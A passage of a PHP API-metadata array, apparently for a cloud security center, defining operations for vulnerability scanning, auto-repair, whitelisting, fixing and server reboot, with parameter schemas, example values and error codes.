fixed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The vulnerability that can be automatically fixed.'."\n", 'type' => 'object', 'properties' => [ 'AliasName' => [ 'title' => '漏洞别名', 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => true, 'example' => 'CVE-2018-25032:zlib 1.2.11 memory corruption', ], 'Name' => [ 'title' => '漏洞名称', 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => true, 'example' => 'anolisos:8.4:ANSA-2022:0001', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 50, 'minItems' => 1, ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why the vulnerability can be automatically fixed.'."\n", 'type' => 'string', 'required' => false, 'example' => 'TestAutoRepair', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'success', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateVulAutoRepairConfig', ], 'DescribeInstanceRebootStatus' => [ 'summary' => 'Queries the status of the servers that you restart.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers that you restart. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'd77f7802-4f0a-4221-ab02-4d999e****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5BD95679-D63A-4151-97D0-188432F4A57', ], 'RebootStatuses' => [ 'description' => 'An array that consists of the status information about the servers that you restart.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '9b59c2d6-0967-46e3-ad7b-152227c****', ], 'RebootStatus' => [ 'description' => 'The status of the server. Valid values:'."\n" ."\n" .'* **0**: The server is being restarted.'."\n" .'* **1**: The server is restarted.'."\n" .'* **2**: The server failed to be restarted.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Code' => [ 'description' => 'The error code that is returned when the server failed to be restarted. Valid values:'."\n" ."\n" .'* **10001**: The restart command failed to be sent.'."\n" .'* **10002**: The restart operation failed.'."\n" .'* **10003**: A timeout error occurs.'."\n", 'type' => 'string', 'example' => '10001', ], 'Msg' => [ 'description' => 'The message that is returned when the server failed to be restarted.'."\n", 'type' => 'string', 'example' => 'push failed', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F4A57\\",\\n \\"RebootStatuses\\": [\\n {\\n \\"Uuid\\": \\"9b59c2d6-0967-46e3-ad7b-152227c****\\",\\n \\"RebootStatus\\": 2,\\n \\"Code\\": \\"10001\\",\\n \\"Msg\\": \\"push failed\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeInstanceRebootStatus', ], 'RebootMachine' => [ 'summary' => 'Restarts a server. Only Windows servers are supported.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server that you want to restart.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.', 'type' => 'string', 'required' => true, 'example' => '7151f27e-1d51-4e98-a540-8936a****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\"\\n}","type":"json"}]', 'title' => 'RebootMachine', ], 'ModifyVulTargetConfig' => [ 'summary' => 'Configures vulnerability detection for a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-7c676676-06fa-442e-90fb-b802e5d6****', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable vulnerability detection. Valid values:'."\n" ."\n" .'* **on**: yes'."\n" .'* **off**: no'."\n", 'type' => 'string', 'required' => true, 'example' => 'off', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1FF908BA-ADD8-5138-8595-614C6E3C6658', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"1FF908BA-ADD8-5138-8595-614C6E3C6658\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 1FF908BA-ADD8-5138-8595-614C6E3C6658\\n","errorExample":""}]', 'title' => 'ModifyVulTargetConfig', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyStartVulScan' => [ 'summary' => 'Enables the quick scan feature. You can also enable the feature on the Vulnerabilities page of the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92392', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Types', 'in' => 'query', 'schema' => [ 'description' => 'The types of vulnerabilities that can be detected. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerabilities'."\n" .'* **sys**: Windows system vulnerabilities'."\n" .'* **cms**: Web-CMS vulnerabilities'."\n" .'* **app**: application vulnerabilities'."\n" .'* **emg**: urgent vulnerabilities'."\n" .'* **image**: container image vulnerabilities'."\n" .'* **sca**: vulnerabilities that are detected based on software component analysis'."\n" ."\n" .'> If you leave this parameter empty, all types of vulnerabilities can be detected.'."\n", 'type' => 'string', 'required' => false, 'example' => '"cve,sys,cms,app,emg"', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"i-sdada-xxxxx","i-ifaedada-sfsasdxxx"}', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '4066CAC3-F83A-4729-9995-A5558A61B546', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4066CAC3-F83A-4729-9995-A5558A61B546\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 4066CAC3-F83A-4729-9995-A5558A61B546\\r\\n","errorExample":""}]', 'title' => 'ModifyStartVulScan', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyEmgVulSubmit' => [ 'summary' => 'Scans for urgent vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92364', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => true, 'example' => 'scan:ASCV-2019-032401', ], ], [ 'name' => 'UserAgreement', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to scan for urgent vulnerabilities. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'required' => true, 'example' => 'yes', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\n","errorExample":""}]', 'title' => 'ModifyEmgVulSubmit', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyCreateVulWhitelist' => [ 'summary' => 'Adds vulnerabilities to the whitelist. After you add the vulnerabilities to the whitelist, Security Center no longer generates alerts for the vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Whitelist', 'in' => 'query', 'schema' => [ 'description' => 'The information about the vulnerability that you want to add to the whitelist. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **Status**: the status of the vulnerability.'."\n" ."\n" .'* **GmtLast**: the timestamp when the vulnerability was last detected. Unit: milliseconds.'."\n" ."\n" .'* **LaterCount**: the number of vulnerabilities that have the medium priority.'."\n" ."\n" .'* **AsapCount**: the number of vulnerabilities that have the high priority.'."\n" ."\n" .'* **Name**: the name of the vulnerability.'."\n" ."\n" .'* **Type**: the type of the vulnerability. Valid values:'."\n" ."\n" .' * **cve**: Linux software vulnerability'."\n" .' * **sys**: Windows system vulnerability'."\n" .' * **cms**: Web-CMS vulnerability'."\n" .' * **app**: application vulnerability'."\n" .' * **emg**: urgent vulnerability'."\n" ."\n" .'* **Related**: the Common Vulnerabilities and Exposures (CVE) ID of the vulnerability.'."\n" ."\n" .'* **HandledCount**: the number of handled vulnerabilities.'."\n" ."\n" .'* **AliasName**: the alias of the vulnerability.'."\n" ."\n" .'* **RuleModifyTime**: the time when the vulnerability was last disclosed.'."\n" ."\n" .'* **NntfCount**: the number of vulnerabilities that have the low priority.'."\n" ."\n" .'* **TotalFixCount**: the total number of fixed vulnerabilities.'."\n" ."\n" .'* **Tags**: the tag that is added to the vulnerability.'."\n" ."\n" .'> You can call the [DescribeGroupedVul](~~DescribeGroupedVul~~) operation to query the information about the vulnerability that you want to add to the whitelist.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"Status":0,"GmtLast":1662281929000,"LaterCount":0,"AsapCount":1,"Name":"oval:com.redhat.rhsa:def:20172836","Type":"cve","Related":"CVE-2017-14491,CVE-2017-14492,CVE-2017-14493,CVE-2017-14494,CVE-2017-14495,CVE-2017-14496","HandledCount":1,"AliasName":"RHSA-2017:2836-Critical: dnsmasq security update","RuleModifyTime":1535542395000,"NntfCount":0,"TotalFixCount":196668,"Tags":"Exploit Exists,Code Execution"},{"Status":0,"GmtLast":1662281933000,"LaterCount":0,"AsapCount":1,"Name":"oval:com.redhat.rhsa:def:20173075","Type":"cve","Related":"CVE-2017-13089,CVE-2017-13090","HandledCount":1,"AliasName":"RHSA-2017:3075-Important: wget security update","RuleModifyTime":1551432867000,"NntfCount":0,"TotalFixCount":369136,"Tags":"Code Execution"}]', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why you add the vulnerability to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'This vulnerability is not harmful', ], ], [ 'name' => 'TargetInfo', 'in' => 'query', 'schema' => [ 'description' => 'The applicable scope of the whitelist. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: the type of the applicable scope. Valid values:'."\n" ."\n" .' * **GroupId**: the ID of a server group.'."\n" .' * **Uuid**: the UUID of a server.'."\n" ."\n" .'* **uuids**: the UUIDs of servers. This field is of the string type.'."\n" ."\n" .'* **groupIds**: the IDs of server groups. This field is of the long type.'."\n" ."\n" .'> If you leave this parameter empty, the applicable scope is all servers. If you set the **type** field to **GroupId**, you must also specify the **groupIds** field. If you set the **type** field to **Uuid**, you must also specify the **uuids** field.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"type":"Uuid","uuids":["b31a708f-5fea-426e-bebe-a7b0893****","1f749687-3b5d-4e11-8140-d964673****"],"groupIds":[]}', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6B23A612-D997-5176-8C3B-D640DFD65772', ], 'VulWhitelistList' => [ 'description' => 'An array that consists of the information about the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the whitelist.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the whitelist.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30376', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6B23A612-D997-5176-8C3B-D640DFD65772\\",\\n \\"VulWhitelistList\\": [\\n {\\n \\"Id\\": 30376\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 6B23A612-D997-5176-8C3B-D640DFD65772\\n","errorExample":""}]', 'title' => 'ModifyCreateVulWhitelist', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'GetVulWhitelist' => [ 'summary' => 'Queries information about a vulnerability whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'VulWhitelistId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1275', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], 'VulWhitelist' => [ 'description' => 'The information about the whitelist.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the whitelist.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1275', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval:com.redhat.rhsa:def:20173263', ], 'Type' => [ 'description' => 'The type of the vulnerability.'."\n", 'type' => 'string', 'example' => 'cve', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2017:3263: curl security update', ], 'Reason' => [ 'description' => 'The reason why the vulnerability is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'Ignore'."\n", ], 'Target' => [ 'description' => 'The application scope of the rule. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **type**: the type of the assets to which the rule is applied. Valid values:'."\n" ."\n" .' * **Uuid**: server'."\n" .' * **GroupId**: server group'."\n" ."\n" .'* **groupIds**: the ID of the server group'."\n" ."\n" .'* **uuids**: the UUID of the server'."\n" ."\n" .'> If this parameter is empty, the rule is applied to all types of assets.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "type": "GroupId",'."\n" .' "uuids": [],'."\n" .' "groupIds": ['."\n" .' 10782678'."\n" .' ]'."\n" .'}', ], 'Whitelist' => [ 'description' => 'The information about the vulnerability that is added to the whitelist. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **Name**: the name of the vulnerability.'."\n" ."\n" .'* **Type**: the type of the vulnerability. Valid values:'."\n" ."\n" .' * **cve**: Linux software vulnerability'."\n" .' * **sys**: Windows system vulnerability'."\n" .' * **cms**: Web-CMS vulnerability'."\n" .' * **app**: application vulnerability'."\n" .' * **emg**: urgent vulnerabilities'."\n" ."\n" .'* **AliasName**: the alias of the vulnerability.'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "Name": "oval:com.redhat.rhsa:def:20173263",'."\n" .' "Type": "cve",'."\n" .' "AliasName": "RHSA-2017:3263: curl security update"'."\n" .' }'."\n" .']', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidId', 'errorMessage' => 'Invalid ID.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"VulWhitelist\\": {\\n \\"Id\\": 1275,\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20173263\\",\\n \\"Type\\": \\"cve\\",\\n \\"AliasName\\": \\"RHSA-2017:3263: curl security update\\",\\n \\"Reason\\": \\"忽略\\",\\n \\"Target\\": \\"{\\\\n \\\\\\"type\\\\\\": \\\\\\"GroupId\\\\\\",\\\\n \\\\\\"uuids\\\\\\": [],\\\\n \\\\\\"groupIds\\\\\\": [\\\\n 10782678\\\\n ]\\\\n}\\",\\n \\"Whitelist\\": \\"[\\\\n {\\\\n \\\\\\"Name\\\\\\": \\\\\\"oval:com.redhat.rhsa:def:20173263\\\\\\",\\\\n \\\\\\"Type\\\\\\": \\\\\\"cve\\\\\\",\\\\n \\\\\\"AliasName\\\\\\": \\\\\\"RHSA-2017:3263: curl security update\\\\\\"\\\\n }\\\\n]\\"\\n }\\n}","type":"json"}]', 'title' => 'GetVulWhitelist', ], 'DeleteVulWhitelist' => [ 'summary' => 'Deletes a specified vulnerability whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Whitelist', 'in' => 'query', 'schema' => [ 'description' => 'The information about the whitelist. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **Name**: the name of the vulnerability.'."\n" ."\n" .'* **Type**: the type of the vulnerability. Valid values:'."\n" ."\n" .' * **cve**: Linux software vulnerability'."\n" .' * **sys**: Windows system vulnerability'."\n" .' * **cms**: Web-CMS vulnerability'."\n" .' * **app**: application vulnerability'."\n" .' * **emg**: urgent vulnerability'."\n" ."\n" .'* **AliasName**: the alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => '['."\n" .' {'."\n" .' "Name": "oval:com.redhat.rhsa:def:20173263",'."\n" .' "Type": "cve",'."\n" .' "AliasName": "RHSA-2017:3263: curl security update"'."\n" .' }'."\n" .']', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist.'."\n" ."\n" .'> To delete a vulnerability whitelist, you must provide the ID of the whitelist. You can call the [DescribeVulWhitelist](~~DescribeVulWhitelist~~) operation to query the IDs of whitelists.'."\n", 'type' => 'string', 'required' => false, 'example' => '131231', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\"\\n}","type":"json"}]', 'title' => 'DeleteVulWhitelist', ], 'ModifyOperateVul' => [ 'summary' => 'Handles detected vulnerabilities. You can fix, check, or ignore the vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92379', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Info', 'in' => 'query', 'schema' => [ 'description' => 'The details of the vulnerability. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the name of the vulnerability.'."\n" ."\n" .'* **uuid**: the UUID of the server on which the vulnerability is detected.'."\n" ."\n" .'* **tag**: the tag that is added to the vulnerability. Valid values:'."\n" ."\n" .' * **oval**: Linux software vulnerability'."\n" .' * **system**: Windows system vulnerability'."\n" .' * **cms**: Web-CMS vulnerability'."\n" ."\n" .'> You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the tags that are added to vulnerabilities of other types.'."\n" ."\n" .'* **isFront**: specifies whether a pre-patch is required to fix the Windows system vulnerability. This field is required only for Windows system vulnerabilities. Valid values:'."\n" ."\n" .' * **0**: no'."\n" .' * **1**: yes'."\n" ."\n" .'> You can fix multiple vulnerabilities at a time. Separate the details of multiple vulnerabilities with commas (,). You can call the [DescribeVulLIst](~~DescribeVulList~~) operation to query the details of vulnerabilities.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"name":"alilinux2:2.1903:ALINUX2-SA-2022:0007","uuid":"a3bb82a8-a3bd-4546-acce-45ac34af****","tag":"oval","isFront":0},{"name":"alilinux2:2.1903:ALINUX2-SA-2022:0007","uuid":"98a6fecc-88cd-46f2-8e35-f808a388****","tag":"oval","isFront":0}]', ], ], [ 'name' => 'OperateType', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the vulnerability. Valid values:'."\n" ."\n" .'* **vul_fix**: fixes the vulnerability.'."\n" .'* **vul_verify**: verifies the vulnerability fix.'."\n" .'* **vul_ignore**: ignores the vulnerability.'."\n" .'* **vul\\_undo_ignore**: cancels ignoring the vulnerability.'."\n" .'* **vul_delete**: deletes the vulnerability.', 'type' => 'string', 'required' => true, 'example' => 'vul_fix', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n" .'* **app**: application vulnerability'."\n" .'* **sca**: vulnerability that is detected based on software component analysis'."\n" ."\n" .'> You cannot fix the urgent vulnerabilities, application vulnerabilities, or vulnerabilities that are detected based on software component analysis.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why the vulnerability is **ignored**.'."\n" ."\n" .'> This parameter is required only when you set **OperateType** to **vul_ignore**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'not operate', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The request ID. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InsufficientAuthorizationCount', 'errorMessage' => 'Authorization count is insufficient.', ], [ 'errorCode' => 'UnauthorizedMachineNotSupportFix', 'errorMessage' => 'Unauthorized machines do not support vulnerability fixing.', ], [ 'errorCode' => 'UserInstanceVersionNotSupportFix', 'errorMessage' => 'Vulnerability fixing is not supported for the instance version.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"DFE4F166-1AC9-4FAC-A4E4-F0608AD705A6\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 